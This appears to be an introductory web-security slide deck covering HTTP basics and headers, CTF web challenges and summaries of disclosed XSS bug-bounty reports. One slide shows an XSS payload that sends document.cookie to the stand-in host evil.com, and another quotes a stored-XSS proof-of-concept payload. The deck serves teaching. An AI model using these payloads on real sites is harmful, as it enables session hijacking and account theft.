

# WEB SECURITY

...and more

Slides at: [github.com/bitkriegofficial/web-security-1](https://github.com/bitkriegofficial/web-security-1)

# IN WEB, MOSTLY..

Implementation bugs (HTTP/Disallowed  
files/robots.txt/humans.txt)

Server side vulnerabilities (Programming Languages)

Client side

# HOW HTTP WORKS (SIMPLIFIED)

1. Browser makes a request to google.com
2. Your OS asks DNS resolvers about google.com
3. DNS resolver says to your OS -> 1.2.3.4
4. Browser connects to 1.2.3.4

5. Your ISP sends a request to 1.2.3.4

6. The server at 1.2.3.4 receives the request and responds with data on same public IP

7. Your ISP receives the response, and transmits it back to your private IP address.

8. Your browser executes the responded HTML/CSS/JS if any and performs further requests.

# HTTP HEADERS - WAY TO COMMUNICATE

HTTP headers is the standard way to make the initial communication with backend. This includes telling server about cookies, user agent, etc.

Server in return can respond with certain HTTP headers which are then respected by the browser

# EXAMPLE

Here's a simple example from GMail



### ▼ Request Headers

**:authority:** mail.google.com

**:method:** GET

**:path:** /mail/u/0/

**:scheme:** https

**accept:** text/html,application/xhtml+xml,application/xml

**accept-encoding:** gzip, deflate, br

**accept-language:** en-US,en;q=0.9,fr;q=0.8,sv;q=0.7

**cache-control:** no-cache

**cookie:** G... CO  
1FE9WvoM... NY  
WVA\_EoZs... 02  
Q3BwxQ-K... F4  
A; SSID=... Dn  
Vy7gN77b... MA  
vkhTUYF8... Ht  
oACaiXuq... tV  
feamIVTn

**pragma:** no-cache

**upgrade-insecure-requests:** 1

**user-agent:** Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15)

**x-client-data:** CKS1yQEIJrbJAQiltskBCMG2yQEI0LfJAQipncoBCK



```
content-security-policy: script-src  
ri 'self';report-uri https://ma  
content-type: text/html; charset  
date: Tue, 06 Aug 2019 12:04:02  
expires: Mon, 01 Jan 1990 00:00:00  
pragma: no-cache  
server: GSE  
set-cookie: __Host-GMAIL_SCH=nsV  
set-cookie: SIDCC=AN0-TYvKrtg4db  
ority=high  
status: 200  
strict-transport-security: max-age=  
x-content-type-options: nosniff  
x-dns-prefetch-control: off  
x-frame-options: SAMEORIGIN  
x-xss-protection: 1; mode=block
```



# COOKIE STEALING

Cookie stealing can be done with combination of attacks like XSS/MITM

# COOKIE STEALING

```
<img src=x  
onerror=this.src='http://evil.com/?c='+document.cookie>
```

And the backend..

```
<?  
    var_dump($_POST);  
?>
```

# **BECOMING COMFORTABLE WITH THESE**

You need to have a good grasp on a network intercept tool

Burpsuite is a popular choice among hackers

You could also use Chrome Dev Tools

# CTF QUESTIONS

Let's look at some CTF questions first

Inspect Me - Points: 125 - (Solves: 21761)

Solve [Hints](#)

Inspect this code! <http://2018shell.picoctf.com:28831> ([link](#))

[Submit!](#)

<http://2018shell.picoctf.com:28831>

Logon - Points: 150 - (Solves: 12159)

Solve

[Hints](#)

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the

Submit!

<http://2018shell.picoctf.com:57252>



Scoreboard Login Register

### Web - Server Status ×

Challenge: Find the flag  
Link: [web.hackable.ca:8082](http://web.hackable.ca:8082/)  
Points: 45  
Solves: 54

You must be logged in to submit flag

Challenge by: derekjohnvn Close

<http://web.hackable.ca:8082/>

### Irish Name Repo - Points: 200 - (Solves: 9966)

Solve

[Hints](#)

There is a website running at <http://2018shell.picoc.tf.com:52135> ([link](#)). Do you think you can log us in? Try to se

Submit!

<http://2018shell.picoc.tf.com:52135>

### Buttons - Points: 250 - (Solves: 7123)

Solve

[Hints](#)

There is a website running at <http://2018shell.picoctf.com:18342> ([link](#)). Try to see if you can push their buttons.

Submit!

<http://2018shell.picoctf.com:18342>

# WEB SECURITY IN REAL WORLD

Spoiler alert: It's too bad

# WORDPRESS XSS - 500\$



mygf submitted a report to [WordPress](#).

Hi there,

I found a stored xss @ <https://core.trac.wordpress.org/> ➔

Steps:

1. Go to <https://core.trac.wordpress.org/> ➔ and login. (open new private window and login with another account)
2. Go to <https://core.trac.wordpress.org/newticket> ➔ and set a summary and description.
3. Select a Workflow Keyword and click manual. Paste the payload: "><svg/onload=alert(document.domain)>
4. Click enter button and click Create Ticket button. Now, you will see xss alert. Copy the url and go to private window. xss alert.

PoC: [https://youtu.be/Nyt1op\\_73vs](https://youtu.be/Nyt1op_73vs) ➔


## Impact

Stealing cookies

## Wordpress.Org Stored XSS



# MAIL.RU XSS - 1000\$

 **secator** 4140  
Reputati

31

#488308

[XSS] data-url в письмах

State

● Resolved (Closed)

\$

Disclosed

August 2, 2019 6:32pm +0530

Parti

Reported To

[Mail.ru](#)

V

Asset

e.mail.ru  
(Domain)

Weakness


Cross-site Scripting (XSS) - Stored

Bounty


\$1,000

Collapse

SUMMARY BY MAIL.RU

 XSS via DOM clobbering on message reading functionality

# GITLAB XSS - 4500\$

 Nyangawa (nyangawa) 7

107 #508184 **Persistent XSS in Note objects**

State ● Resolved (Closed)

Disclosed **July 19, 2019 5:33am +0530**

Reported To [GitLab](#)

Asset **gitlab.com**  
(Domain)


Weakness **Cross-site Scripting (XSS) - Stored**

Bounty **\$4,500**

Collapse



# UPSERVE XSS - 2500\$

 **Gamer7112 (gamer7112)** 948  
Repu

147 #603764 **DOM Based XSS via postMessage at <https://inventory.upsolve.com/login/>**

State ● Resolved (Closed)

Disclosed **June 25, 2019 7:26pm +0530** P.

Reported To [Upsolve](#)


Asset [inventory.upsolve.com](#)  
(Domain)

Weakness Cross-site Scripting (XSS) - DOM


Bounty **\$2,500**

[Collapse](#)

SUMMARY BY UPSERVE

 Due to incomplete origin validation, DOM-based XSS was possible at <https://inventory.upsolve.com/login/> via postMessage.

# VANILLA XSS - 300\$

 I024 (alb3r7)

79

#496405

Stored XSS in vanilla

State

● Resolved (Closed)

Disclosed

July 13, 2019 9:57am +0530

Reported To

[Vanilla](#)

Asset

<https://github.com/vanilla/vanilla/>  
(Source code)

Weakness

Cross-site Scripting (XSS) - Stored

Bounty

\$300

Collapse

# GOOGLE XSS - 3000\$

Responsible Disclosure - Blogger XSS



# REAL WORD HACKING VS CTFS

They're different, but have a lot in common

CTFs are targeted to extract data from the other end, in real world you could have literally anything to aim

**HOW TO BEGIN?**

- Start by learning what you have to exploit.

```
{  
    web: ["html", "css", "javascript"],  
    backend: ["node", "php", "python"],  
    databases: ["sql", "mongo"],  
    backend_advanced: ["nginx", "apache"],  
    crypto: ["..."],  
    rev: ...  
}
```

- Read writeups (CTF or real word vulnerability reports)
- Practice - [hackerone.com/ctftime.org](https://hackerone.com/ctftime.org)



# FINAL POINTS

- Keep practicing - wasting hours
- Apart from CTFs, try to exploit in real world for fun and rewards
- You need to know how a lock works before picking it